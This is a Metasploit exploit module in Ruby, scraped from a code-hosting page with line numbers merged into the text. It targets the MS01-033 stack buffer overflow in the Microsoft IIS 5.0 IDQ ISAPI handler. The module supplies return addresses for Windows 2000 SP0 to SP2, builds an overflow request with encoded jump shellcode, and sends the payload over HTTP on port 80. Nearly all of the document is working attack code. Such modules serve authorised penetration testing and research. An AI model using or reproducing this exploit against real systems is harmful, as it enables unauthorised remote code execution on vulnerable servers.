Path: blob/master/modules/exploits/windows/iis/ms01_033_idq.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'MS01-033 Microsoft IIS 5.0 IDQ Path Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the IDQ ISAPI handler for17Microsoft Index Server.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2001-0500'],23[ 'OSVDB', '568'],24[ 'MSB', 'MS01-033'],25[ 'BID', '2880'],26],27'DefaultOptions' => {28'EXITFUNC' => 'thread',29},3031'Privileged' => false,32'Payload' => {33'Space' => 800,34'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",35'StackAdjustment' => -3500,36},3738'Platform' => 'win',39'Targets' => [40[ 'Windows 2000 Pro English SP0', { 'Ret' => '0x6e8f3e24' } ],41[ 'Windows 2000 Pro English SP1-SP2', { 'Ret' => '0x6e8f8cc4' } ],42],43'DisclosureDate' => '2001-06-18',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options([Opt::RPORT(80)])54end5556def exploit57connect5859sploit = rand_text_alphanumeric(1) + ".idq?" + rand_text_alphanumeric(232)60sploit << "%u06eb.%u" + target.ret[-4, 4] + "%u" + target.ret[-8, 4]61sploit << ".%uC033%uB866%u031F%u0340%u8BD8%u8B03%u6840%uDB33%u30B3%uC303%uE0FF="62sploit << rand_text_alphanumeric(1) + " HTTP/1.0\r\n\r\n" + rand_text_alphanumeric(46)6364uri = '/' + sploit + payload.encoded6566res = "GET #{uri}\r\n\r\n"6768print_status("Trying target #{target.name}...")6970sock.put(res)7172handler73disconnect74end75end767778